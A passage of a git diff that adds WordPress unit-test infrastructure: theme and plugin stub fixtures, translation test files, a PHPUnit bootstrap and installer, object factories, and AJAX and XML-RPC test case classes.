0000000000..e5674c0de9 Binary files /dev/null and b/tests/data/images/test-image.sgi differ diff --git a/tests/data/images/test-image.tga b/tests/data/images/test-image.tga new file mode 100644 index 0000000000..b0593cbf80 Binary files /dev/null and b/tests/data/images/test-image.tga differ diff --git a/tests/data/images/test-image.tiff b/tests/data/images/test-image.tiff new file mode 100644 index 0000000000..67c30947f7 Binary files /dev/null and b/tests/data/images/test-image.tiff differ diff --git a/tests/data/images/transparent.png b/tests/data/images/transparent.png new file mode 100644 index 0000000000..d130501eeb Binary files /dev/null and b/tests/data/images/transparent.png differ diff --git a/tests/data/images/waffles.jpg b/tests/data/images/waffles.jpg new file mode 100644 index 0000000000..e69cae58c6 Binary files /dev/null and b/tests/data/images/waffles.jpg differ diff --git a/tests/data/plugins/hello.php b/tests/data/plugins/hello.php new file mode 100644 index 0000000000..8d6287f77a --- /dev/null +++ b/tests/data/plugins/hello.php @@ -0,0 +1,14 @@ +Hello, Dolly in the upper right of your admin screen on every page. +Author: Matt Mullenweg +Version: 1.5.1 +Author URI: http://ma.tt/ +Text Domain: hello-dolly + +*/ + +// Test for +?> diff --git a/tests/data/pomo/bad_nplurals.mo b/tests/data/pomo/bad_nplurals.mo new file mode 100644 index 0000000000..d2aef437cd Binary files /dev/null and b/tests/data/pomo/bad_nplurals.mo differ diff --git a/tests/data/pomo/bad_nplurals.po b/tests/data/pomo/bad_nplurals.po new file mode 100644 index 0000000000..c24342fc0f --- /dev/null +++ b/tests/data/pomo/bad_nplurals.po @@ -0,0 +1,18 @@ +msgid "" +msgstr "" +"Project-Id-Version: bbPress 1.0.4 alpha\n" +"POT-Creation-Date: \n" +"PO-Revision-Date: 2008-12-26 17:07+0100\n" +"Last-Translator: Fernando Tellado \n" +"Language-Team: ayudawordpress.com \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: spanish\n" +"X-Poedit-Country: spain\n" +"Plural-Forms: nplurals=2; plural=n !=1;\\n\n" + +msgid "%d forum" +msgid_plural "%d forums" +msgstr[0] "%d foro" +msgstr[1] "%d foros" diff --git a/tests/data/pomo/context.mo b/tests/data/pomo/context.mo new file mode 100644 index 0000000000..a94a040789 Binary files /dev/null and b/tests/data/pomo/context.mo differ diff --git a/tests/data/pomo/de_DE-2.8.mo b/tests/data/pomo/de_DE-2.8.mo new file mode 100644 index 0000000000..7e9334cb8f Binary files /dev/null and b/tests/data/pomo/de_DE-2.8.mo differ diff --git a/tests/data/pomo/empty.po b/tests/data/pomo/empty.po new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tests/data/pomo/mo.pot b/tests/data/pomo/mo.pot new file mode 100644 index 0000000000..6e6e50b544 --- /dev/null +++ b/tests/data/pomo/mo.pot @@ -0,0 +1,25 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR WordPress +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR , YEAR. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n" +"POT-Creation-Date: 2009-06-28 11:07+0000\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME \n" +"Language-Team: LANGUAGE \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=CHARSET\n" +"Content-Transfer-Encoding: 8bit\n" + +#: wp-admin/includes/continents-cities.php:7 +msgid "Africa" +msgstr "" + +#: wp-admin/includes/continents-cities.php:8 +msgid "Abidjan" +msgstr "" diff --git a/tests/data/pomo/overload.mo b/tests/data/pomo/overload.mo new file mode 100644 index 0000000000..87ca72ec4f Binary files /dev/null and b/tests/data/pomo/overload.mo differ diff --git a/tests/data/pomo/plural.mo b/tests/data/pomo/plural.mo new file mode 100644 index 0000000000..c838ad5bbf Binary files /dev/null and b/tests/data/pomo/plural.mo differ diff --git a/tests/data/pomo/simple.mo b/tests/data/pomo/simple.mo new file mode 100644 index 0000000000..18ca12d94e Binary files /dev/null and b/tests/data/pomo/simple.mo differ diff --git a/tests/data/pomo/simple.po b/tests/data/pomo/simple.po new file mode 100644 index 0000000000..114febd1b3 --- /dev/null +++ b/tests/data/pomo/simple.po @@ -0,0 +1,54 @@ +msgid "" +msgstr "" +"Project-Id-Version: WordPress 2.6-bleeding\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" + +msgid "moon" +msgstr "" + +msgctxt "brum" +msgid "strut" +msgid_plural "struts" +msgstr[0] "ztrut0" +msgstr[1] "ztrut1" +msgstr[2] "ztrut2" + +msgid "" +"The first thing you need to do is tell Blogger to let WordPress access your " +"account. You will be sent back here after providing authorization." +msgstr "baba\n" +"dyado" +"gugu" + +msgctxt "" +"con" +"text" +msgid "" +"sing" +"ular" +msgid_plural "" +"plu" +"ral" +msgstr[0] "" +"trans" +"lation0" +msgstr[1] "" +"trans" +"lation1" +msgstr[2] "" +"translation2" + + + +# baba +#: wp-admin/x.php:111 baba:333 +#. translators: buuu +# brubru +#, fuzzy +#: baba +msgid "a" +msgstr "" + +msgid "a\"" +msgstr "" + diff --git a/tests/data/pomo/windows-line-endings.po b/tests/data/pomo/windows-line-endings.po new file mode 100644 index 0000000000..79b05c2614 --- /dev/null +++ b/tests/data/pomo/windows-line-endings.po @@ -0,0 +1,7 @@ +msgid "" +msgstr "" +"Project-Id-Version: Windows 3.11\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" + +msgid "moon" +msgstr "yuhu" diff --git a/tests/data/themedir1/default/functions.php b/tests/data/themedir1/default/functions.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/default/functions.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/default/index.php b/tests/data/themedir1/default/index.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/default/index.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/default/style.css b/tests/data/themedir1/default/style.css new file mode 100644 index 0000000000..05b7d4048c --- /dev/null +++ b/tests/data/themedir1/default/style.css @@ -0,0 +1,17 @@ +/* +Theme Name: WordPress Default +Theme URI: http://wordpress.org/ +Description: The default WordPress theme based on the famous Kubrick. +Version: 1.6 +Author: Michael Heilemann +Author URI: http://binarybonsai.com/ + + Kubrick v1.5 + http://binarybonsai.com/kubrick/ + +This is just a stub to test the loading of the above metadata. + +*/ + + + diff --git a/tests/data/themedir1/page-templates/index.php b/tests/data/themedir1/page-templates/index.php new file mode 100644 index 0000000000..e0c765371d --- /dev/null +++ b/tests/data/themedir1/page-templates/index.php @@ -0,0 +1,3 @@ + \ No newline at end of file diff --git a/tests/data/themedir1/page-templates/style.css b/tests/data/themedir1/page-templates/style.css new file mode 100644 index 0000000000..7ce31bf771 --- /dev/null +++ b/tests/data/themedir1/page-templates/style.css @@ -0,0 +1,11 @@ +/* +Theme Name: Page Template Theme +Theme URI: http://example.org/ +Description: An example theme with page templates +Version: 0.1 +Author: Mr. WordPress +Author URI: http://wordpress.org/ + +This is just a stub to test the loading of the above metadata. + +*/ \ No newline at end of file diff --git a/tests/data/themedir1/page-templates/subdir/template-sub-dir.php b/tests/data/themedir1/page-templates/subdir/template-sub-dir.php new file mode 100644 index 0000000000..ff0a3c81d0 --- /dev/null +++ b/tests/data/themedir1/page-templates/subdir/template-sub-dir.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/tests/data/themedir1/page-templates/template-header.php b/tests/data/themedir1/page-templates/template-header.php new file mode 100644 index 0000000000..61381bf822 --- /dev/null +++ b/tests/data/themedir1/page-templates/template-header.php @@ -0,0 +1 @@ + diff --git a/tests/data/themedir1/page-templates/template-top-level.php b/tests/data/themedir1/page-templates/template-top-level.php new file mode 100644 index 0000000000..7ff3b50558 --- /dev/null +++ b/tests/data/themedir1/page-templates/template-top-level.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/tests/data/themedir1/sandbox/functions.php b/tests/data/themedir1/sandbox/functions.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/sandbox/functions.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/sandbox/index.php b/tests/data/themedir1/sandbox/index.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/sandbox/index.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/sandbox/style.css b/tests/data/themedir1/sandbox/style.css new file mode 100644 index 0000000000..b7f03afb70 --- /dev/null +++ b/tests/data/themedir1/sandbox/style.css @@ -0,0 +1,11 @@ +/* +THEME NAME: Sandbox +THEME URI: http://www.plaintxt.org/themes/sandbox/ +DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins. +VERSION: 0.6.1-wpcom +AUTHOR: Andy Skelton & Scott Allan Wallick +AUTHOR URI: + + This is a dummy theme for testing the above metadata. +*/ + diff --git a/tests/data/themedir1/stylesheetonly/style.css b/tests/data/themedir1/stylesheetonly/style.css new file mode 100644 index 0000000000..f3f7585b8e --- /dev/null +++ b/tests/data/themedir1/stylesheetonly/style.css @@ -0,0 +1,14 @@ +/* +Theme Name: Stylesheet Only +Theme URI: http://www.example.com/blog/ +Description: A three-column widget-ready theme in dark blue. +Version: 1.0 +Author: Henry Crun +Author URI: http://www.example.com/ + +template: sandbox + + + This is a dummy theme for testing the above metadata. +*/ + diff --git a/tests/data/themedir1/subdir/theme with spaces/index.php b/tests/data/themedir1/subdir/theme with spaces/index.php new file mode 100644 index 0000000000..b3d9bbc7f3 --- /dev/null +++ b/tests/data/themedir1/subdir/theme with spaces/index.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/data/themedir1/subdir/theme2/index.php b/tests/data/themedir1/subdir/theme2/index.php new file mode 100644 index 0000000000..15c5adc7fa --- /dev/null +++ b/tests/data/themedir1/subdir/theme2/index.php @@ -0,0 +1,3 @@ + \ No newline at end of file diff --git a/tests/data/themedir1/subdir/theme2/style.css b/tests/data/themedir1/subdir/theme2/style.css new file mode 100644 index 0000000000..5abb800aa7 --- /dev/null +++ b/tests/data/themedir1/subdir/theme2/style.css @@ -0,0 +1,11 @@ +/* +Theme Name: My Subdir Theme +Theme URI: http://example.org/ +Description: An example theme in a sub directory +Version: 0.1 +Author: Mr. WordPress +Author URI: http://wordpress.org/ + +This is just a stub to test the loading of the above metadata. + +*/ \ No newline at end of file diff --git a/tests/data/themedir1/theme1-dupe/functions.php b/tests/data/themedir1/theme1-dupe/functions.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/theme1-dupe/functions.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/theme1-dupe/index.php b/tests/data/themedir1/theme1-dupe/index.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/theme1-dupe/index.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/theme1-dupe/style.css b/tests/data/themedir1/theme1-dupe/style.css new file mode 100644 index 0000000000..193572bedb --- /dev/null +++ b/tests/data/themedir1/theme1-dupe/style.css @@ -0,0 +1,17 @@ +/* +Theme Name: My Theme +Theme URI: http://example.org/ +Description: This theme has the same Theme Name as theme1 +Version: 1.4 +Author: Minnie Bannister +Author URI: http://example.com/ + + Kubrick v1.5 + http://binarybonsai.com/kubrick/ + +This is just a stub to test the loading of the above metadata. + +*/ + + + diff --git a/tests/data/themedir1/theme1/functions.php b/tests/data/themedir1/theme1/functions.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/theme1/functions.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/theme1/index.php b/tests/data/themedir1/theme1/index.php new file mode 100644 index 0000000000..1c8413d3a1 --- /dev/null +++ b/tests/data/themedir1/theme1/index.php @@ -0,0 +1,7 @@ + diff --git a/tests/data/themedir1/theme1/style.css b/tests/data/themedir1/theme1/style.css new file mode 100644 index 0000000000..f0d8cb780e --- /dev/null +++ b/tests/data/themedir1/theme1/style.css @@ -0,0 +1,17 @@ +/* +Theme Name: My Theme +Theme URI: http://example.org/ +Description: An example theme +Version: 1.3 +Author: Minnie Bannister +Author URI: http://example.com/ + + Kubrick v1.5 + http://binarybonsai.com/kubrick/ + +This is just a stub to test the loading of the above metadata. + +*/ + + + diff --git a/tests/includes/bootstrap.php b/tests/includes/bootstrap.php new file mode 100644 index 0000000000..b32409986a --- /dev/null +++ b/tests/includes/bootstrap.php @@ -0,0 +1,136 @@ +longOptions ) + ); + $ajax_message = true; + foreach ( $options[0] as $option ) { + switch ( $option[0] ) { + case '--exclude-group' : + $ajax_message = false; + continue 2; + case '--group' : + $groups = explode( ',', $option[1] ); + foreach ( $groups as $group ) { + if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) ) + WP_UnitTestCase::forceTicket( $group ); + } + $ajax_message = ! in_array( 'ajax', $groups ); + continue 2; + } + } + if ( $ajax_message ) + echo "Not running ajax tests... To execute these, use --group ajax." . PHP_EOL; + } +} +new WP_PHPUnit_TextUI_Command( $_SERVER['argv'] ); diff --git a/tests/includes/exceptions.php b/tests/includes/exceptions.php new file mode 100644 index 0000000000..50976fb0b3 --- /dev/null +++ b/tests/includes/exceptions.php @@ -0,0 +1,33 @@ +post = new WP_UnitTest_Factory_For_Post( $this ); + $this->attachment = new WP_UnitTest_Factory_For_Attachment( $this ); + $this->comment = new WP_UnitTest_Factory_For_Comment( $this ); + $this->user = new WP_UnitTest_Factory_For_User( $this ); + $this->term = new WP_UnitTest_Factory_For_Term( $this ); + $this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' ); + $this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' ); + if ( is_multisite() ) + $this->blog = new WP_UnitTest_Factory_For_Blog( $this ); + } +} + +class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing { + + function __construct( $factory = null ) { + parent::__construct( $factory ); + $this->default_generation_definitions = array( + 'post_status' => 'publish', + 'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ), + 'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ), + 'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ), + 'post_type' => 'post' + ); + } + + function create_object( $args ) { + return wp_insert_post( $args ); + } + + function update_object( $post_id, $fields ) { + $fields['ID'] = $post_id; + return wp_update_post( $fields ); + } + + function get_object_by_id( $post_id ) { + return get_post( $post_id ); + } +} + +class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post { + + function create_object( $file, $parent = 0, $args = array() ) { + return wp_insert_attachment( $args, $file, $parent ); + } +} + +class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing { + + function __construct( $factory = null ) { + parent::__construct( $factory ); + $this->default_generation_definitions = array( + 'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ), + 'user_pass' => 'password', + 'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ), + ); + } + + function create_object( $args ) { + return wp_insert_user( $args ); + } + + function update_object( $user_id, $fields ) { + $fields['ID'] = $user_id; + return wp_update_user( $fields ); + } + + function get_object_by_id( $user_id ) { + return new WP_User( $user_id ); + } +} + +class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing { + + function __construct( $factory = null ) { + parent::__construct( $factory ); + $this->default_generation_definitions = array( + 'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ), + 'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ), + 'comment_approved' => 1, + ); + } + + function create_object( $args ) { + return wp_insert_comment( $this->addslashes_deep( $args ) ); + } + + function update_object( $comment_id, $fields ) { + $fields['comment_ID'] = $comment_id; + return wp_update_comment( $this->addslashes_deep( $fields ) ); + } + + function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) { + $args['comment_post_ID'] = $post_id; + return $this->create_many( $count, $args, $generation_definitions ); + } + + function get_object_by_id( $comment_id ) { + return get_comment( $comment_id ); + } +} + +class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing { + + function __construct( $factory = null ) { + global $current_site, $base; + parent::__construct( $factory ); + $this->default_generation_definitions = array( + 'domain' => $current_site->domain, + 'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ), + 'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ), + 'site_id' => $current_site->id, + ); + } + + function create_object( $args ) { + $meta = isset( $args['meta'] ) ? $args['meta'] : array(); + $user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id(); + return wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] ); + } + + function update_object( $blog_id, $fields ) {} + + function get_object_by_id( $blog_id ) { + return get_blog_details( $blog_id, false ); + } +} + + +class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing { + + private $taxonomy; + const DEFAULT_TAXONOMY = 'post_tag'; + + function __construct( $factory = null, $taxonomy = null ) { + parent::__construct( $factory ); + $this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY; + $this->default_generation_definitions = array( + 'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ), + 'taxonomy' => $this->taxonomy, + 'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ), + ); + } + + function create_object( $args ) { + $args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args ); + $term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args ); + if ( is_wp_error( $term_id_pair ) ) + return $term_id_pair; + return $term_id_pair['term_id']; + } + + function update_object( $term, $fields ) { + $fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields ); + if ( is_object( $term ) ) + $taxonomy = $term->taxonomy; + $term_id_pair = wp_update_term( $term, $taxonomy, $fields ); + return $term_id_pair['term_id']; + } + + function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) { + return wp_set_post_terms( $post_id, $terms, $taxonomy, $append ); + } + + function get_object_by_id( $term_id ) { + return get_term( $term_id, $this->taxonomy ); + } +} + +abstract class WP_UnitTest_Factory_For_Thing { + + var $default_generation_definitions; + var $factory; + + /** + * Creates a new factory, which will create objects of a specific Thing + * + * @param object $factory Global factory that can be used to create other objects on the system + * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values + * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence}, + * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}. + */ + function __construct( $factory, $default_generation_definitions = array() ) { + $this->factory = $factory; + $this->default_generation_definitions = $default_generation_definitions; + } + + abstract function create_object( $args ); + abstract function update_object( $object, $fields ); + + function create( $args = array(), $generation_definitions = null ) { + if ( is_null( $generation_definitions ) ) + $generation_definitions = $this->default_generation_definitions; + + $generated_args = $this->generate_args( $args, $generation_definitions, $callbacks ); + $created = $this->create_object( $generated_args ); + if ( !$created || is_wp_error( $created ) ) + return $created; + + if ( $callbacks ) { + $updated_fields = $this->apply_callbacks( $callbacks, $created ); + $save_result = $this->update_object( $created, $updated_fields ); + if ( !$save_result || is_wp_error( $save_result ) ) + return $save_result; + } + return $created; + } + + function create_and_get( $args = array(), $generation_definitions = null ) { + $object_id = $this->create( $args, $generation_definitions ); + return $this->get_object_by_id( $object_id ); + } + + abstract function get_object_by_id( $object_id ); + + function create_many( $count, $args = array(), $generation_definitions = null ) { + $results = array(); + for ( $i = 0; $i < $count; $i++ ) { + $results[] = $this->create( $args, $generation_definitions ); + } + return $results; + } + + function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) { + $callbacks = array(); + if ( is_null( $generation_definitions ) ) + $generation_definitions = $this->default_generation_definitions; + + foreach( array_keys( $generation_definitions ) as $field_name ) { + if ( !isset( $args[$field_name] ) ) { + $generator = $generation_definitions[$field_name]; + if ( is_scalar( $generator ) ) + $args[$field_name] = $generator; + elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) { + $callbacks[$field_name] = $generator; + } elseif ( is_object( $generator ) ) + $args[$field_name] = $generator->next(); + else + return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' ); + } + } + return $args; + } + + function apply_callbacks( $callbacks, $created ) { + $updated_fields = array(); + foreach( $callbacks as $field_name => $generator ) { + $updated_fields[$field_name] = $generator->call( $created ); + } + return $updated_fields; + } + + function callback( $function ) { + return new WP_UnitTest_Factory_Callback_After_Create( $function ); + } + + function addslashes_deep($value) { + if ( is_array( $value ) ) { + $value = array_map( array( $this, 'addslashes_deep' ), $value ); + } elseif ( is_object( $value ) ) { + $vars = get_object_vars( $value ); + foreach ($vars as $key=>$data) { + $value->{$key} = $this->addslashes_deep( $data ); + } + } elseif ( is_string( $value ) ) { + $value = addslashes( $value ); + } + + return $value; + } + +} + +class WP_UnitTest_Generator_Sequence { + var $next; + var $template_string; + + function __construct( $template_string = '%s', $start = 1 ) { + $this->next = $start; + $this->template_string = $template_string; + } + + function next() { + $generated = sprintf( $this->template_string , $this->next ); + $this->next++; + return $generated; + } +} + +class WP_UnitTest_Factory_Callback_After_Create { + var $callback; + + function __construct( $callback ) { + $this->callback = $callback; + } + + function call( $object ) { + return call_user_func( $this->callback, $object ); + } +} diff --git a/tests/includes/functions.php b/tests/includes/functions.php new file mode 100644 index 0000000000..5759d530c9 --- /dev/null +++ b/tests/includes/functions.php @@ -0,0 +1,44 @@ + $function_to_add, 'accepted_args' => $accepted_args); + unset( $merged_filters[ $tag ] ); + return true; +} + +function _test_filter_build_unique_id($tag, $function, $priority) { + global $wp_filter; + static $filter_id_count = 0; + + if ( is_string($function) ) + return $function; + + if ( is_object($function) ) { + // Closures are currently implemented as objects + $function = array( $function, '' ); + } else { + $function = (array) $function; + } + + if (is_object($function[0]) ) { + return spl_object_hash($function[0]) . $function[1]; + } else if ( is_string($function[0]) ) { + // Static Calling + return $function[0].$function[1]; + } +} + +function _delete_all_posts() { + global $wpdb; + + $all_posts = $wpdb->get_col("SELECT ID from {$wpdb->posts}"); + if ($all_posts) { + foreach ($all_posts as $id) + wp_delete_post( $id, true ); + } +} + diff --git a/tests/includes/install.php b/tests/includes/install.php new file mode 100644 index 0000000000..63de9d2185 --- /dev/null +++ b/tests/includes/install.php @@ -0,0 +1,67 @@ +suppress_errors(); +$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); +$wpdb->suppress_errors( false ); + +$hash = get_option( 'db_version' ) . ' ' . (int) $multisite . ' ' . sha1_file( $config_file_path ); + +if ( $installed && file_exists( WP_TESTS_VERSION_FILE ) && file_get_contents( WP_TESTS_VERSION_FILE ) == $hash ) + return; + +$wpdb->query( 'SET storage_engine = INNODB' ); +$wpdb->select( DB_NAME, $wpdb->dbh ); + +echo "Installing..." . PHP_EOL; + +foreach ( $wpdb->tables() as $table => $prefixed_table ) { + $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" ); +} + +foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) { + $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" ); + + // We need to create references to ms global tables. + if ( $multisite ) + $wpdb->$table = $prefixed_table; +} + +wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' ); + +if ( $multisite ) { + echo "Installing network..." . PHP_EOL; + + define( 'WP_INSTALLING_NETWORK', true ); + + $title = WP_TESTS_TITLE . ' Network'; + $subdomain_install = false; + + install_network(); + populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install ); +} + +file_put_contents( WP_TESTS_VERSION_FILE, $hash ); diff --git a/tests/includes/mock-image-editor.php b/tests/includes/mock-image-editor.php new file mode 100644 index 0000000000..2d8164e5c9 --- /dev/null +++ b/tests/includes/mock-image-editor.php @@ -0,0 +1,43 @@ +PreSend() ) + return false; + + $this->mock_sent[] = array( + 'to' => $this->to, + 'cc' => $this->cc, + 'bcc' => $this->bcc, + 'header' => $this->MIMEHeader, + 'body' => $this->MIMEBody, + ); + + return true; + } catch ( phpmailerException $e ) { + return false; + } + } +} diff --git a/tests/includes/testcase-ajax.php b/tests/includes/testcase-ajax.php new file mode 100644 index 0000000000..fcceacc42b --- /dev/null +++ b/tests/includes/testcase-ajax.php @@ -0,0 +1,182 @@ +_core_actions_get, $this->_core_actions_post ) as $action ) + if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) ) + add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 ); + + add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 ); + if ( !defined( 'DOING_AJAX' ) ) + define( 'DOING_AJAX', true ); + set_current_screen( 'ajax' ); + + // Clear logout cookies + add_action( 'clear_auth_cookie', array( $this, 'logout' ) ); + + // Suppress warnings from "Cannot modify header information - headers already sent by" + $this->_error_level = error_reporting(); + error_reporting( $this->_error_level & ~E_WARNING ); + + // Make some posts + $this->factory->post->create_many( 5 ); + } + + /** + * Tear down the test fixture. + * Reset $_POST, remove the wp_die() override, restore error reporting + */ + public function tearDown() { + parent::tearDown(); + $_POST = array(); + $_GET = array(); + unset( $GLOBALS['post'] ); + unset( $GLOBALS['comment'] ); + remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 ); + remove_action( 'clear_auth_cookie', array( $this, 'logout' ) ); + error_reporting( $this->_error_level ); + set_current_screen( 'front' ); + } + + /** + * Clear login cookies, unset the current user + */ + public function logout() { + unset( $GLOBALS['current_user'] ); + $cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE); + foreach ( $cookies as $c ) + unset( $_COOKIE[$c] ); + } + + /** + * Return our callback handler + * @return callback + */ + public function getDieHandler() { + return array( $this, 'dieHandler' ); + } + + /** + * Handler for wp_die() + * Save the output for analysis, stop execution by throwing an exception. + * Error conditions (no output, just die) will throw WPAjaxDieStopException( $message ) + * You can test for this with: + * + * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' ); + * + * Normal program termination (wp_die called at then end of output) will throw WPAjaxDieContinueException( $message ) + * You can test for this with: + * + * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' ); + * + * @param string $message + */ + public function dieHandler( $message ) { + $this->_last_response .= ob_get_clean(); + ob_end_clean(); + if ( '' === $this->_last_response ) { + if ( is_scalar( $message) ) { + throw new WPAjaxDieStopException( (string) $message ); + } else { + throw new WPAjaxDieStopException( '0' ); + } + } else { + throw new WPAjaxDieContinueException( $message ); + } + } + + /** + * Switch between user roles + * E.g. administrator, editor, author, contributor, subscriber + * @param string $role + */ + protected function _setRole( $role ) { + $post = $_POST; + $user_id = $this->factory->user->create( array( 'role' => $role ) ); + wp_set_current_user( $user_id ); + $_POST = array_merge($_POST, $post); + } + + /** + * Mimic the ajax handling of admin-ajax.php + * Capture the output via output buffering, and if there is any, store + * it in $this->_last_message. + * @param string $action + */ + protected function _handleAjax($action) { + + // Start output buffering + ini_set( 'implicit_flush', false ); + ob_start(); + + // Build the request + $_POST['action'] = $action; + $_GET['action'] = $action; + $_REQUEST = array_merge( $_POST, $_GET ); + + // Call the hooks + do_action( 'admin_init' ); + do_action( 'wp_ajax_' . $_REQUEST['action'], null ); + + // Save the output + $buffer = ob_get_clean(); + if ( !empty( $buffer ) ) + $this->_last_response = $buffer; + } +} diff --git a/tests/includes/testcase-xmlrpc.php b/tests/includes/testcase-xmlrpc.php new file mode 100644 index 0000000000..e82c5e134e --- /dev/null +++ b/tests/includes/testcase-xmlrpc.php @@ -0,0 +1,30 @@ +myxmlrpcserver = new wp_xmlrpc_server(); + } + + function tearDown() { + remove_filter( 'pre_option_enable_xmlrpc', '__return_true' ); + + parent::tearDown(); + } + + protected function make_user_by_role( $role ) { + return $this->factory->user->create( array( + 'user_login' => $role, + 'user_pass' => $role, + 'role' => $role + )); + } +} diff --git a/tests/includes/testcase.php b/tests/includes/testcase.php new file mode 100644 index 0000000000..a4e3337c82 --- /dev/null +++ b/tests/includes/testcase.php @@ -0,0 +1,227 @@ +suppress_errors = false; + $wpdb->show_errors = true; + $wpdb->db_connect(); + ini_set('display_errors', 1 ); + $this->factory = new WP_UnitTest_Factory; + $this->clean_up_global_scope(); + $this->start_transaction(); + add_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) ); + } + + function tearDown() { + global $wpdb; + $wpdb->query( 'ROLLBACK' ); + remove_filter( 'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) ); + remove_filter( 'query', array( $this, '_drop_temporary_tables' ) ); + remove_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) ); + } + + function clean_up_global_scope() { + $_GET = array(); + $_POST = array(); + $this->flush_cache(); + } + + function flush_cache() { + global $wp_object_cache; + $wp_object_cache->group_ops = array(); + $wp_object_cache->stats = array(); + $wp_object_cache->memcache_debug = array(); + $wp_object_cache->cache = array(); + if ( method_exists( $wp_object_cache, '__remoteset' ) ) { + $wp_object_cache->__remoteset(); + } + wp_cache_flush(); + wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) ); + wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) ); + } + + function start_transaction() { + global $wpdb; + $wpdb->query( 'SET autocommit = 0;' ); + $wpdb->query( 'START TRANSACTION;' ); + add_filter( 